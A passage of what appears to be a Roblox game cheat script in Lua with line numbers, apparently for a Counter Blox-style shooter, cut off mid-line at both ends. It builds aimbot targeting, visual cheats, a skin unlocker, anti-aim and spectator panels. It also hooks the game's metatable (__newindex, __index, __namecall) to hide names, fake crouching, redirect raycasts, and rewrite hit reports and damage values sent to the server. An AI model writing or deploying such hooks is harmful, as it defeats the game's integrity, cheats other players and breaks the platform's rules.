  1578. if v.Status.Alive.Value and v.Team ~= Local.Player.Team then
  1579. local head = v.Character[p]
  1580. local worldPoint = head.Position
  1581. local vector, onScreen = Local.Camera:WorldToScreenPoint(worldPoint)
  1582. local magnitude = GetDistanceSq(Vector2.new(Local.Mouse.X, Local.Mouse.Y), Vector2.new(vector.X, vector.Y))
  1583. if distance > magnitude and onScreen and (magnitude < math.pow(Settings.FOVpx, 2) or Settings.FOVlim) then
  1584. distance = magnitude
  1585. target = v
  1586. end
  1587. end
  1588. ]]
  1589.  
  1590. AimbotFunctions.GetNearest = function()
  1591. local target = nil;
  1592. local distance = math.huge
  1593. for _,v in pairs(Services.Players:GetPlayers()) do
  1594. if v.Status.Alive.Value and v.Team ~= Local.Player.Team then
  1595. local magnitude = GetDistanceSq3(Local.Player.Character.HumanoidRootPart.Position, v.Character.HumanoidRootPart.Position)
  1596. if distance > magnitude then
  1597. distance = magnitude
  1598. target = v
  1599. end
  1600. end
  1601. end
  1602. return target
  1603. end
  1604.  
  1605. function doSelfChams()
  1606. if Local.Camera:FindFirstChild("Arms") then
  1607. if Settings.GunEnabled then
  1608. for i,v in pairs(Local.Camera:FindFirstChild("Arms"):GetChildren()) do
  1609. if v:IsA("BasePart") then
  1610. v.Color = Settings.GunColor
  1611. v.Material = Settings.GunMaterial
  1612. v.Transparency = Settings.GunTransparency
  1613. end
  1614. end
  1615. end
  1616. if Settings.ArmsEnabled then
  1617. if Local.Camera and Local.Camera:FindFirstChild("Arms") then
  1618. for i,m in pairs(Local.Camera:FindFirstChild("Arms"):GetChildren()) do
  1619. if m:IsA("Model") then
  1620. for a,v in pairs(m:GetDescendants()) do
  1621. if v:IsA("BasePart") then
  1622. v.Color = Settings.ArmsColor
  1623. v.Material = Settings.ArmsMaterial
  1624. v.Transparency = Settings.ArmsTransparency
  1625. end
  1626. end
  1627. end
  1628. end
  1629. end
  1630. end
  1631. for _,part in pairs (Local.Camera:FindFirstChild("Arms"):GetDescendants()) do
  1632. if Settings.NoSleeves then
  1633. if part.Name == "Sleeve" then
  1634. if part:IsA("Motor6D") == false then
  1635. part.Transparency = 1
  1636. end
  1637. end
  1638. else
  1639. if part.Name == "Sleeve" then
  1640. if part:IsA("Motor6D") == false then
  1641. part.Transparency = 0
  1642. end
  1643. end
  1644. end
  1645. if Settings.NoGloves then
  1646. if part.Name == "Glove" then
  1647. part.Transparency = 1
  1648. end
  1649. else
  1650. if part.Name == "Glove" then
  1651. part.Transparency = 0
  1652. end
  1653. end
  1654. if Settings.NoGloves then
  1655. if part.Name == "Glove" then
  1656. part.Transparency = 1
  1657. end
  1658. else
  1659. if part.Name == "Glove" then
  1660. part.Transparency = 0
  1661. end
  1662. end
  1663. end
  1664. end
  1665. end
  1666.  
  1667. function isAlive(v)
  1668. return v and v.Character and v.Character:FindFirstChild("Head") and v.Character:FindFirstChild("HumanoidRootPart")
  1669. end
  1670.  
  1671. local UIListLayout = Instance.new("UIListLayout")
  1672. local UIPadding = Instance.new("UIPadding")
  1673. local TT = Instance.new("Frame")
  1674. local Team = Instance.new("TextLabel")
  1675. local Username = Instance.new("TextLabel")
  1676. local Status = Instance.new("TextLabel")
  1677. local Age = Instance.new("TextLabel")
  1678.  
  1679. local FESkin = Instance.new("Frame")
  1680. local SkinUser = Instance.new("TextLabel")
  1681. local Rarity = Instance.new("TextLabel")
  1682. local SkinLabel = Instance.new("TextLabel")
  1683. local UsingLabel = Instance.new("TextLabel")
  1684.  
  1685. local UIListLayout_2 = Instance.new("UIListLayout")
  1686. local UIPadding_2 = Instance.new("UIPadding")
  1687. local SFrame = Instance.new("ScrollingFrame")
  1688. local OutfitScroll = Instance.new("ScrollingFrame")
  1689. local SkinScroll = Instance.new("ScrollingFrame")
  1690. local Back = Instance.new("Frame")
  1691. local OBack = Instance.new("Frame")
  1692. local SBack = Instance.new("Frame")
  1693. local UIListLayout_3 = Instance.new("UIListLayout")
  1694. local UIPadding_3 = Instance.new("UIPadding")
  1695. local UIGridLayout = Instance.new("UIGridLayout")
  1696. local Container = Instance.new("Frame")
  1697. --Properties:
  1698. UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  1699.  
  1700. UIPadding.PaddingBottom = UDim.new(0, 8)
  1701. UIPadding.PaddingLeft = UDim.new(0, 8)
  1702. UIPadding.PaddingRight = UDim.new(0, 8)
  1703. UIPadding.PaddingTop = UDim.new(0, 8)
  1704.  
  1705. FESkin.Name = "FESkin"
  1706. FESkin.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  1707. FESkin.BorderColor3 = Color3.new(0, 0, 0)
  1708. FESkin.Position = UDim2.new(0.00346500333, 0, 0.00661594467, 0)
  1709. FESkin.Size = UDim2.new(1, 0, 0, 20)
  1710.  
  1711. UISkin = Instance.new("UIListLayout")
  1712. UISkin.Parent = FESkin
  1713. UISkin.FillDirection = Enum.FillDirection.Horizontal
  1714. UISkin.SortOrder = Enum.SortOrder.LayoutOrder
  1715.  
  1716. SkinLabel.Name = "SkinLabel"
  1717. SkinLabel.Parent = FESkin
  1718. SkinLabel.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  1719. SkinLabel.BorderColor3 = Color3.new(0, 0, 0)
  1720. SkinLabel.LayoutOrder = 2
  1721. SkinLabel.Size = UDim2.new(0.333, 0, 1, 0)
  1722. SkinLabel.Font = Enum.Font.SourceSans
  1723. SkinLabel.Text = "Skin"
  1724. SkinLabel.TextColor3 = Color3.new(1, 1, 1)
  1725. SkinLabel.TextSize = 14
  1726.  
  1727. Rarity.Name = "Rarity"
  1728. Rarity.Parent = FESkin
  1729. Rarity.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  1730. Rarity.BorderColor3 = Color3.new(0, 0, 0)
  1731. Rarity.Size = UDim2.new(0.333, 0, 1, 0)
  1732. Rarity.LayoutOrder = 3
  1733. Rarity.Font = Enum.Font.SourceSans
  1734. Rarity.Text = "Rarity"
  1735. Rarity.TextColor3 = Color3.new(1, 1, 1)
  1736. Rarity.TextSize = 14
  1737.  
  1738. UsingLabel.Name = "UsingLabel"
  1739. UsingLabel.Parent = FESkin
  1740. UsingLabel.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  1741. UsingLabel.BorderColor3 = Color3.new(0, 0, 0)
  1742. UsingLabel.Size = UDim2.new(0.333, 0, 1, 0)
  1743. UsingLabel.LayoutOrder = 4
  1744. UsingLabel.Font = Enum.Font.SourceSans
  1745. UsingLabel.Text = "Using"
  1746. UsingLabel.TextColor3 = Color3.new(1, 1, 1)
  1747. UsingLabel.TextSize = 14
  1748.  
  1749.  
  1750. TT.Name = "TT"
  1751. TT.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  1752. TT.BorderColor3 = Color3.new(0, 0, 0)
  1753. TT.Position = UDim2.new(0.00346500333, 0, 0.00661594467, 0)
  1754. TT.Size = UDim2.new(1, 0, 0, 20)
  1755.  
  1756. Team.Name = "Team"
  1757. Team.Parent = TT
  1758. Team.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  1759. Team.BorderColor3 = Color3.new(0, 0, 0)
  1760. Team.Size = UDim2.new(0.300000012, 0, 1, 0)
  1761. Team.Font = Enum.Font.SourceSans
  1762. Team.LayoutOrder = 1
  1763. Team.Text = "Team"
  1764. Team.TextColor3 = Color3.new(1, 1, 1)
  1765. Team.TextSize = 14
  1766.  
  1767. Username.Name = "Username"
  1768. Username.Parent = TT
  1769. Username.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  1770. Username.BorderColor3 = Color3.new(0, 0, 0)
  1771. Username.LayoutOrder = 2
  1772. Username.Size = UDim2.new(0.300000012, 0, 1, 0)
  1773. Username.Font = Enum.Font.SourceSans
  1774. Username.Text = "Username"
  1775. Username.TextColor3 = Color3.new(1, 1, 1)
  1776. Username.TextSize = 14
  1777.  
  1778. Status.Name = "Status"
  1779. Status.Parent = TT
  1780. Status.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  1781. Status.BorderColor3 = Color3.new(0, 0, 0)
  1782. Status.Size = UDim2.new(0.200000003, 0, 1, 0)
  1783. Status.LayoutOrder = 3
  1784. Status.Font = Enum.Font.SourceSans
  1785. Status.Text = "Aimbot Status"
  1786. Status.TextColor3 = Color3.new(1, 1, 1)
  1787. Status.TextSize = 14
  1788.  
  1789. Age.Name = "Age"
  1790. Age.Parent = TT
  1791. Age.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  1792. Age.BorderColor3 = Color3.new(0, 0, 0)
  1793. Age.Size = UDim2.new(0.200000003, 0, 1, 0)
  1794. Age.Font = Enum.Font.SourceSans
  1795. Age.Text = "Account Age"
  1796. Age.LayoutOrder = 4
  1797. Age.TextColor3 = Color3.new(1, 1, 1)
  1798. Age.TextSize = 14
  1799.  
  1800. UIListLayout_2.Parent = TT
  1801. UIListLayout_2.FillDirection = Enum.FillDirection.Horizontal
  1802. UIListLayout_2.SortOrder = Enum.SortOrder.LayoutOrder
  1803.  
  1804. UIPadding_2.Parent = TT
  1805. UIPadding_2.PaddingRight = UDim.new(0, 11)
  1806.  
  1807. SFrame.Name = "SFrame"
  1808. SFrame.BackgroundColor3 = Color3.new(0.0509804, 0.0509804, 0.0509804)
  1809. SFrame.BorderColor3 = Color3.new(0, 0, 0)
  1810. SFrame.Size = UDim2.new(1, 0, 0, 120)
  1811. SFrame.BottomImage = "rbxassetid://132155326"
  1812. SFrame.MidImage = "rbxassetid://132155326"
  1813. SFrame.ScrollBarThickness = 10
  1814. SFrame.TopImage = "rbxassetid://132155326"
  1815. SFrame.ScrollBarImageColor3 = Color3.fromRGB(66, 66, 66)
  1816.  
  1817. OutfitScroll.Name = "OutfitScroll"
  1818. OutfitScroll.BackgroundColor3 = Color3.new(0.0509804, 0.0509804, 0.0509804)
  1819. OutfitScroll.BorderColor3 = Color3.new(0, 0, 0)
  1820. OutfitScroll.Size = UDim2.new(1, 0, 1, 0)
  1821. OutfitScroll.BottomImage = "rbxassetid://132155326"
  1822. OutfitScroll.MidImage = "rbxassetid://132155326"
  1823. OutfitScroll.ScrollBarThickness = 10
  1824. OutfitScroll.TopImage = "rbxassetid://132155326"
  1825. OutfitScroll.ScrollBarImageColor3 = Color3.fromRGB(66, 66, 66)
  1826.  
  1827. SkinScroll.Name = "SkinScroll"
  1828. SkinScroll.BackgroundColor3 = Color3.new(0.0509804, 0.0509804, 0.0509804)
  1829. SkinScroll.BorderColor3 = Color3.new(0, 0, 0)
  1830. SkinScroll.Size = UDim2.new(1, 0, 1, 0)
  1831. SkinScroll.BottomImage = "rbxassetid://132155326"
  1832. SkinScroll.MidImage = "rbxassetid://132155326"
  1833. SkinScroll.ScrollBarThickness = 10
  1834. SkinScroll.TopImage = "rbxassetid://132155326"
  1835. SkinScroll.ScrollBarImageColor3 = Color3.fromRGB(66, 66, 66)
  1836.  
  1837. OBack.Name = "OBack"
  1838. OBack.Parent = OutfitScroll
  1839. OBack.BackgroundColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392)
  1840. OBack.BorderSizePixel = 0
  1841. OBack.Size = UDim2.new(1, 0, 1, 0)
  1842.  
  1843. SBack.Name = "SBack"
  1844. SBack.Parent = SkinScroll
  1845. SBack.BackgroundColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392)
  1846. SBack.BorderSizePixel = 0
  1847. SBack.Size = UDim2.new(1, 0, 1, 0)
  1848.  
  1849. SBackList = Instance.new("UIListLayout", SBack)
  1850. SBackList.SortOrder = Enum.SortOrder.LayoutOrder
  1851.  
  1852. UIGridLayout.Parent = OBack
  1853. UIGridLayout.CellPadding = UDim2.new(0,0,0,0)
  1854. UIGridLayout.CellSize = UDim2.new(0.3,0,0,200)
  1855.  
  1856. Back.Name = "Back"
  1857. Back.Parent = SFrame
  1858. Back.BackgroundColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392)
  1859. Back.BorderSizePixel = 0
  1860. Back.Size = UDim2.new(1, 0, 1, 0)
  1861.  
  1862. UIListLayout_3.Parent = Back
  1863. UIListLayout_3.SortOrder = Enum.SortOrder.LayoutOrder
  1864.  
  1865. UIPadding_3.Parent = Back
  1866. UIPadding_3.PaddingRight = UDim.new(0, 11)
  1867.  
  1868. local SampleInfo = Instance.new("TextLabel")
  1869. SampleInfo.BackgroundTransparency = 1
  1870. SampleInfo.Size = UDim2.new(1, 0, 1/6, 0)
  1871. SampleInfo.Font = Enum.Font.Gotham
  1872. SampleInfo.TextScaled = true
  1873. SampleInfo.TextStrokeTransparency = 3/4
  1874. SampleInfo.TextColor3 = Color3.new(1,1,1)
  1875. SampleInfo.TextTransparency = 0
  1876.  
  1877. local Scope = Instance.new("Frame")
  1878. local ScopeY = Instance.new("Frame")
  1879. local ScopeX = Instance.new("Frame")
  1880. local Scope_2 = Instance.new("ImageLabel")
  1881. local Blur = Instance.new("ImageLabel")
  1882. local Blur_2 = Instance.new("ImageLabel")
  1883. local Frame1 = Instance.new("Frame")
  1884. local Frame2 = Instance.new("Frame")
  1885. local Frame3 = Instance.new("Frame")
  1886. local Frame4 = Instance.new("Frame")
  1887.  
  1888. Scope.Name = "Scope"
  1889. Scope.BackgroundColor3 = Color3.new(1, 1, 1)
  1890. Scope.BackgroundTransparency = 1
  1891. Scope.Size = UDim2.new(1, 0, 1, 0)
  1892. Scope.Visible = false
  1893.  
  1894. ScopeY.Parent = Scope
  1895. ScopeY.BackgroundColor3 = Color3.new(0, 0, 0)
  1896. ScopeY.BorderColor3 = Color3.new(0, 0, 0)
  1897. ScopeY.BorderSizePixel = 0
  1898. ScopeY.Position = UDim2.new(0.5, 0, -1, 0)
  1899. ScopeY.Size = UDim2.new(0, 2, 3, 0)
  1900.  
  1901. ScopeX.Parent = Scope
  1902. ScopeX.BackgroundColor3 = Color3.new(0, 0, 0)
  1903. ScopeX.BorderColor3 = Color3.new(0, 0, 0)
  1904. ScopeX.BorderSizePixel = 0
  1905. ScopeX.Position = UDim2.new(-1, 0, 0.5, -18)
  1906. ScopeX.Size = UDim2.new(3, 0, 0, 2)
  1907.  
  1908. Scope_2.Name = "Scope"
  1909. Scope_2.Parent = Scope
  1910. Scope_2.BackgroundColor3 = Color3.new(1, 1, 1)
  1911. Scope_2.Image = "rbxasset://textures/ui/GuiImagePlaceholder.png"
  1912.  
  1913. Blur.Name = "Blur"
  1914. Blur.Parent = Scope_2
  1915. Blur.BackgroundColor3 = Color3.new(1, 1, 1)
  1916. Blur.Image = "rbxasset://textures/ui/GuiImagePlaceholder.png"
  1917.  
  1918. Blur_2.Name = "Blur"
  1919. Blur_2.Parent = Blur
  1920. Blur_2.BackgroundColor3 = Color3.new(1, 1, 1)
  1921. Blur_2.Image = "rbxasset://textures/ui/GuiImagePlaceholder.png"
  1922.  
  1923. Frame1.Name = "Frame1"
  1924. Frame1.BackgroundColor3 = Color3.new(1, 1, 1)
  1925. Frame1.BackgroundTransparency = 1
  1926. Frame1.Size = UDim2.new(1, 0, 1, 0)
  1927. Frame1.Visible = false
  1928.  
  1929. Frame2.Name = "Frame2"
  1930. Frame2.BackgroundColor3 = Color3.new(1, 1, 1)
  1931. Frame2.BackgroundTransparency = 1
  1932. Frame2.Size = UDim2.new(1, 0, 1, 0)
  1933. Frame2.Visible = false
  1934.  
  1935. Frame3.Name = "Frame3"
  1936. Frame3.BackgroundColor3 = Color3.new(1, 1, 1)
  1937. Frame3.BackgroundTransparency = 1
  1938. Frame3.Size = UDim2.new(1, 0, 1, 0)
  1939. Frame3.Visible = false
  1940.  
  1941. Frame4.Name = "Frame4"
  1942. Frame4.BackgroundColor3 = Color3.new(1, 1, 1)
  1943. Frame4.BackgroundTransparency = 1
  1944. Frame4.Size = UDim2.new(1, 0, 1, 0)
  1945. Frame4.Visible = false
  1946.  
  1947. local ScopeStorage = {Scope, Frame1, Frame2, Frame3, Frame4}
  1948. local letters = {}
  1949.  
  1950. local WBack = Instance.new("Frame")
  1951. local eUIPadding = Instance.new("UIPadding")
  1952. local eUIListLayout = Instance.new("UIListLayout")
  1953.  
  1954. WBack.Name = "WBack"
  1955. WBack.Parent = Ace
  1956. WBack.AnchorPoint = Vector2.new(1, 0)
  1957. WBack.BackgroundColor3 = Color3.new(0.156863, 0.156863, 0.156863)
  1958. WBack.BorderColor3 = Color3.new(0.156863, 0.156863, 0.156863)
  1959. WBack.BorderSizePixel = 0
  1960. WBack.Position = UDim2.new(1, 0, 0.100000009, 0)
  1961. WBack.Size = UDim2.new(0, 424, 0, 30)
  1962. WBack.Visible = Settings.Watermark
  1963.  
  1964. eUIPadding.Parent = WBack
  1965. eUIPadding.PaddingLeft = UDim.new(0, 10)
  1966.  
  1967. for i = 1,59 do
  1968. local _1 = Instance.new("TextLabel")
  1969. _1.Name = "1"
  1970. _1.Parent = WBack
  1971. _1.TextTransparency = 1
  1972. _1.BackgroundColor3 = Color3.new(1, 1, 1)
  1973. _1.BackgroundTransparency = 1
  1974. _1.Size = UDim2.new(0, 7, 1, 0)
  1975. _1.Font = Enum.Font.Code
  1976. _1.Text = "a"
  1977. _1.TextColor3 = Color3.new(1, 1, 1)
  1978. _1.TextSize = 14
  1979. table.insert(letters, _1)
  1980. end
  1981.  
  1982. eUIListLayout.Parent = WBack
  1983. eUIListLayout.FillDirection = Enum.FillDirection.Horizontal
  1984. eUIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
  1985.  
  1986. local SpecF = Instance.new("Frame")
  1987. local LayoutF = Instance.new("UIListLayout")
  1988. local Top = Instance.new("Frame")
  1989. local Spec = Instance.new("TextLabel")
  1990. local OBSM = Instance.new("TextLabel")
  1991.  
  1992. SpecF.Parent = Ace
  1993. SpecF.BackgroundColor3 = Color3.new(1, 1, 1)
  1994. SpecF.BackgroundTransparency = 1
  1995. SpecF.Position = UDim2.new(0.0132528171, 0, 0.33205381, 0)
  1996. SpecF.Size = UDim2.new(0.12, 0, 0.232437596, 0)
  1997. SpecF.Visible = false
  1998.  
  1999. LayoutF.Parent = SpecF
  2000. LayoutF.SortOrder = Enum.SortOrder.LayoutOrder
  2001.  
  2002. Top.Name = "Top"
  2003. Top.Parent = SpecF
  2004. Top.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
  2005. Top.BorderColor3 = Color3.fromRGB(20, 20, 20)
  2006. Top.Size = UDim2.new(1, 0, 0, 20)
  2007.  
  2008. Spec.Name = "Spec"
  2009. Spec.Parent = Top
  2010. Spec.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
  2011. Spec.BorderColor3 = Color3.fromRGB(20, 20, 20)
  2012. Spec.Size = UDim2.new(0.5, 0, 1, 0)
  2013. Spec.Font = Enum.Font.SourceSansLight
  2014. Spec.Text = "Spectator"
  2015. Spec.TextColor3 = Color3.new(1, 1, 1)
  2016. Spec.TextSize = 14
  2017.  
  2018. OBSM.Name = "OBSM"
  2019. OBSM.Parent = Top
  2020. OBSM.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
  2021. OBSM.BorderColor3 = Color3.fromRGB(20, 20, 20)
  2022. OBSM.Position = UDim2.new(0.5, 0, 0, 0)
  2023. OBSM.Size = UDim2.new(0.5, 0, 1, 0)
  2024. OBSM.Font = Enum.Font.SourceSansLight
  2025. OBSM.Text = "Point of View"
  2026. OBSM.TextColor3 = Color3.new(1, 1, 1)
  2027. OBSM.TextSize = 14
  2028.  
  2029. local Skin = {}
  2030. local straps = {}
  2031. local wraps = {}
  2032. local sports = {}
  2033. local fingerless = {}
  2034. for i,v in pairs(game.ReplicatedStorage.Skins:GetChildren()) do
  2035. for a,b in pairs(v:GetChildren()) do
  2036. table.insert(Skin, {v.Name.. "_".. b.Name})
  2037. end
  2038. end
  2039. for i,v in pairs(game.ReplicatedStorage.Gloves:GetChildren()) do
  2040. if v.Name == "Wraps" or v.Name == "Guts" or v.Name == "MMA" or v.Name == "Wetland" or v.Name == "Ghoul Hex" or v.Name == "Phantom Hex" or v.Name == "Spector Hex" or v.Name == "Orange Hex" or v.Name == "Purple Hex" or v.Name == "Green Hex" then
  2041. table.insert(wraps,{v.Name})
  2042. end
  2043. end
  2044. for i,v in pairs(game.ReplicatedStorage.Gloves:GetChildren()) do
  2045. if v.Name == "Scapter" or v.Name == "Patch" or v.Name == "Digital" or v.Name == "Crystal" then
  2046. table.insert(fingerless,{v.Name})
  2047. end
  2048. end
  2049. for i,v in pairs(game.ReplicatedStorage.Gloves:GetChildren()) do
  2050. if v.Name == "Hazard" or v.Name == "Hallows" or v.Name == "Majesty" or v.Name == "Royal" or v.Name == "Weeb" or v.Name == "CottonTail" or v.Name == "RSL" then
  2051. table.insert(sports,{v.Name})
  2052. end
  2053. end
  2054. for i,v in pairs(game.ReplicatedStorage.Gloves:GetChildren()) do
  2055. if v.Name == "Grim" or v.Name == "Wisk" or v.Name == "Molten" or v.Name == "Kringle" or v.Name == "Racer" then
  2056. table.insert(straps,{v.Name})
  2057. end
  2058. end
  2059. for i = 1,#straps do
  2060. table.insert(Skin,{"Strapped Glove_"..unpack(straps[i])})
  2061. end
  2062. for i = 1,#sports do
  2063. table.insert(Skin,{"Sports Glove_"..unpack(sports[i])})
  2064. end
  2065. for i = 1,#fingerless do
  2066. table.insert(Skin,{"Fingerless Glove_"..unpack(fingerless[i])})
  2067. end
  2068. for i = 1,#wraps do
  2069. table.insert(Skin,{"Handwraps_"..unpack(wraps[i])})
  2070. end
  2071. table.insert(Skin,{"CTKnife_Stock"})
  2072. table.insert(Skin,{"TKnife_Stock"})
  2073. for i,v in pairs(game.ReplicatedStorage.Skins:GetChildren()) do
  2074. if v.Name ~= "Flip Knife" and v.Name ~= "Bayonet" and v.Name ~= "Falchion Knife" and v.Name ~= "Karambit" and v.Name ~= "Huntsman Knife" and v.Name ~= "Banana" and v.Name ~= "Butterfly Knife" then
  2075. table.insert(Skin, {v.Name.. "_Stock"})
  2076. end
  2077. end
  2078.  
  2079. function setLetters(text)
  2080. if #text > 59 then return end
  2081. for i,v in pairs(letters) do
  2082. v.TextTransparency = 1
  2083. end
  2084. for i = 1, #text do
  2085. local c = text:sub(i,i)
  2086. letters[i].Text = c
  2087. letters[i].TextTransparency = 0
  2088. end
  2089. end
  2090.  
  2091. function CalculateAntiAngles(opposite)
  2092. local Target
  2093. if Settings.AA.Direction == "Nearest" then
  2094. Target = AimbotFunctions.GetNearest()
  2095. elseif Settings.AA.Direction == "All Threats" then
  2096. for i,v in pairs(Services.Players:GetPlayers()) do
  2097. Target = CalculateThreat(v)
  2098. if Target then
  2099. break
  2100. end
  2101. end
  2102. end
  2103.  
  2104. if not Target then
  2105. return
  2106. end
  2107.  
  2108. if Target and Target.Character and Target.Character:FindFirstChild("Head") and Target.Character:FindFirstChild("HumanoidRootPart") and isAlive(Local.Player) and Local.Player.Character and Local.Player.Character:FindFirstChild("Head") and Local.Player.Character:FindFirstChild("HumanoidRootPart") and Target.Character:FindFirstChild("HumanoidRootPart") then
  2109. local OHRP = Target.Character.HumanoidRootPart
  2110. local HRP = Local.Player.Character.HumanoidRootPart
  2111. local vector1 = HRP.CFrame.p
  2112. local vector2 = (OHRP.CFrame.p * Vector3.new(1,0,1)) + Vector3.new(0,vector1.Y,0)
  2113. local lookAt = CFrame.new(vector1, vector2)
  2114. local x, y, z = OHRP.CFrame:ToEulerAnglesYXZ()
  2115. local lx, ly, lz = lookAt:ToEulerAnglesYXZ()
  2116. local offset = opposite and math.pi or 0
  2117.  
  2118. return lookAt * CFrame.Angles(0, y + ly + offset, 0)
  2119. end
  2120. end
  2121.  
  2122. function Beam(v1, v2)
  2123. local b1 = Instance.new("Part", workspace["Ray_Ignore"])
  2124. b1.Size = Vector3.new(0.0001,0.0001,0.0001)
  2125. b1.Transparency = 1
  2126. b1.CanCollide = false
  2127. b1.CFrame = CFrame.new(v1)
  2128. b1.Anchored = true
  2129. local a1 = Instance.new("Attachment", b1)
  2130. local b2 = Instance.new("Part", workspace["Ray_Ignore"])
  2131. b2.Size = Vector3.new(0.0001,0.0001,0.0001)
  2132. b2.Transparency = 1
  2133. b2.CanCollide = false
  2134. b2.CFrame = CFrame.new(v2)
  2135. b2.Anchored = true
  2136. local a2 = Instance.new("Attachment", b2)
  2137. local b = Instance.new("Beam", b1)
  2138. b.FaceCamera = true
  2139. b.Attachment0 = a1
  2140. b.Attachment1 = a2
  2141. b.LightEmission = 1
  2142. b.LightInfluence = 0
  2143. b.Color = ColorSequence.new(Settings.BulletTracerColor)
  2144. b.Width0 = Settings.TracerThickness1 * 0.01
  2145. b.Width1 = Settings.TracerThickness2 * 0.01
  2146. b.Transparency = NumberSequence.new(Settings.BulletTracerTransparency)
  2147. delay(0.25, function()
  2148. for i = Settings.BulletTracerTransparency,1,0.02 do
  2149. wait()
  2150. b.Transparency = NumberSequence.new(i)
  2151. end
  2152. b1:Destroy()
  2153. b2:Destroy()
  2154. end)
  2155. end
  2156.  
  2157. --Silent
  2158.  
  2159.  
  2160. --[[
  2161. function preventfunctionduringsimulation(name)
  2162. bruh = Local.Game[name]
  2163. Local.Game[name] = function(...)
  2164. if getfenv().callback then
  2165. return
  2166. end
  2167. return bruh(...)
  2168. end
  2169. end
  2170.  
  2171. preventfunctionduringsimulation("createparticle")
  2172. preventfunctionduringsimulation("createbullethole")
  2173. ]]
  2174. --[[
  2175. local t = Local.Player.SkinFolder.TFolder:Clone()
  2176. local ct = Local.Player.SkinFolder.CTFolder:Clone()
  2177. t.Parent = Local.Player.SkinFolder
  2178. ct.Parent = Local.Player.SkinFolder
  2179. wait(1)
  2180. Local.Player.SkinFolder.TFolder:Destroy()
  2181. Local.Player.SkinFolder.CTFolder:Destroy()
  2182. ]]
  2183.  
  2184. --hooks
  2185. spawn(function()
  2186. repeat wait() until Local.Game.gui
  2187. repeat wait() until Local.Game.JoinTeam
  2188.  
  2189. local JoinTeam = Local.Game.JoinTeam
  2190. Local.Game.JoinTeam = function()end
  2191.  
  2192. Local.Game.gui.TeamSelection.Grn.MouseButton1Down:connect(function()
  2193. script.Parent.Sounds.MenuClick:Play()
  2194. JoinTeam("CT")
  2195. end)
  2196. Local.Game.gui.TeamSelection.Rd.MouseButton1Down:connect(function()
  2197. script.Parent.Sounds.MenuClick:Play()
  2198. JoinTeam("T")
  2199. end)
  2200. end)
  2201.  
  2202. local Real;local Gun;local Team
  2203.  
  2204. meta = getrawmetatable(game)
  2205. if setreadonly then setreadonly(meta, false) else make_writeable(meta, true) end
  2206.  
  2207. local myClient = Local.PlayerGui.Client
  2208.  
  2209. newindexed = meta.__newindex
  2210. meta.__newindex = newclose(function(self, key, value)
  2211. local Settings = Settings
  2212. local callerScript = rawget(getfenv(0), "script")
  2213. callerScript = typeof(callerScript) == "Instance" and callerScript or nil
  2214.  
  2215. if self and type(value) == "string" and Settings.HideName then
  2216. value = value:gsub(Local.Player.Name, Settings.Name)
  2217. end
  2218.  
  2219. if self and typeof(self) == "Instance" and self.Name == "player" and key == "Text" then
  2220. if not Services.Players[value]:FindFirstChild("KarmaDone") then
  2221. newindexed(self, "TextColor3", Color3.new(0,1,0))
  2222. end
  2223. end
  2224.  
  2225. if Settings.Fakeduck and self and typeof(self) == "Instance" and self:IsA("Humanoid") and key == "CameraOffset" then
  2226. value = Vector3.new(0, 0.05, 0)
  2227. end
  2228.  
  2229. --[[
  2230. if callerScript == myClient and Local.Game.gun ~= "none" and self == Local.Camera and (key == "CFrame" or key == "CoordinateFrame") then
  2231. local adder = value * Local.Camera.CFrame:inverse()
  2232. local multiplier = Storage[Local.Game.gun.Name]
  2233.  
  2234. local x, y, z = Local.Game.newangle:ToEulerAnglesYXZ()
  2235. local newnewangle = CFrame.Angles(x*multiplier, y*multiplier, z*multiplier)
  2236. if adder == Local.Game.newangle:inverse() then
  2237. Local.Camera.CFrame = Local.Camera.CFrame * newnewangle:inverse()
  2238. else
  2239. Local.Camera.CFrame = Local.Camera.CFrame * newnewangle
  2240. end
  2241. return
  2242. end]]
  2243.  
  2244. return newindexed(self, key, value)
  2245. end)
  2246. tempgun = nil
  2247. indexed = meta.__index
  2248. meta.__index = newclose(function(self, key)
  2249. local callerScript = rawget(getfenv(0), "script")
  2250. callerScript = typeof(callerScript) == "Instance" and callerScript or nil
  2251. local scriptName = indexed(callerScript, "Name")
  2252.  
  2253. if scriptName == "DisplayChat" and indexed(self, "Name") == "RoundOver" and key == "Value" and Settings.AllChat then
  2254. return true
  2255. end
  2256.  
  2257. return indexed(self, key)
  2258. end)
  2259. hitpartdebounce = true
  2260. filterdebounce = true
  2261. namecall = meta.__namecall
  2262. meta.__namecall = newclose(function(self, ...)
  2263. local method = getnamecallmethod()
  2264. local args = {...}
  2265. local Settings = Settings
  2266. local Player = Local.Player
  2267.  
  2268. if method == "FindPartOnRayWithIgnoreList" and fakeCFrame and args[2][7] and args[2][7].Name == "HumanoidRootPart" then
  2269. local Goal = fakeCFrame
  2270. local Start = AimbotFunctions.getRealCameraVector(Player.Character)
  2271. print("Reassing")
  2272. args[1] = Ray.new(Start, (Goal - Start).unit * 500)
  2273. print("BOO!")
  2274. end
  2275.  
  2276. if method == "FireServer" and self.Name == "HitPart" and hitpartdebounce then
  2277. local stat = Storage.Target[2]
  2278. if Settings[stat].HookHitpart then
  2279. local ourCFrame = AimbotFunctions.getRealCameraVector(Player.Character)
  2280. local hit, hitpos, dm, wb = AimbotFunctions.SimulateShot(CFrame.new(ourCFrame, Storage.Target[1][1]), Target[3].Character)
  2281. if hit then
  2282. args[1] = Storage.Target[1][2]
  2283. args[2] = Storage.Target[1][1]
  2284. args[8] = 1
  2285. end
  2286. end
  2287. if Settings[stat].OverrideDamage then
  2288. args[8] = Settings[stat].Damage
  2289. end
  2290. if bodyParts[args[1].Name] then
